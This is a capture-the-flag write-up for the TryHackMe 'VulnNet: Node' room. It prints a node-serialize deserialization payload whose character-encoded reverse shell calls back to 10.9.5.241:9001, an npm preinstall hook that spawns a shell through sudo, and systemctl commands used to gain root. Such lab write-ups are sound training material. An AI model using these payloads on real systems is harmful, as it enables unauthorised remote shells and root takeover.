tryhackme: vulnnet: node [writeup]

tl;dr
This is a very simple and easy room, which was a lot of fun.
We start by finding a web server that runs on port 8080. It is Node.js and uses the Express framework.
We see that it assigns us a session cookie. Knowing about deserialization attacks, we find out that it is vulnerable.
We exploit this vulnerability to get a shell on the box.
On the box, we can execute npm commands as a serv-manage user. With a quick look at gtfo-bins, we have our user flag!
For root, we simply edit systemctl files that we have write permissions to and they will run as root. After we inject our reverse shell, we successfully got a root shell back and got our root flag!

Enumeration

nmap -sS -sV -sC 10.10.83.73

gobuster dir -u http://10.10.83.73:8080/ -t 100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,zip,json

Gobuster

Exploitation

{"rce":"_$$ND_FUNC$$_function (){generated shell here}()"}
{"rce":"_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,57,46,53,46,50,52,49,34,59,10,80,79,82,84,61,34,57,48,48,49,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"}

User Flag

python3 -c ‘import pty;pty.spawn(“/bin/bash”)’

sudo -l

mkdir exploits
echo ‘{“scripts”: {“preinstall”: “/bin/sh”}}’ > exploits/package.json
sudo -u serv-manage /usr/bin/npm -C /tmp/exploits — unsafe-perm i

Root Flag

locate vulnnet-auto.timer

vulnnet-job.service

ExecStart=/bin/df

sudo -u root /bin/systemctl daemon-reload
sudo -u root /bin/systemctl stop vulnnet-auto.timer
sudo -u root /bin/systemctl start vulnnet-auto.timer

Conclusion

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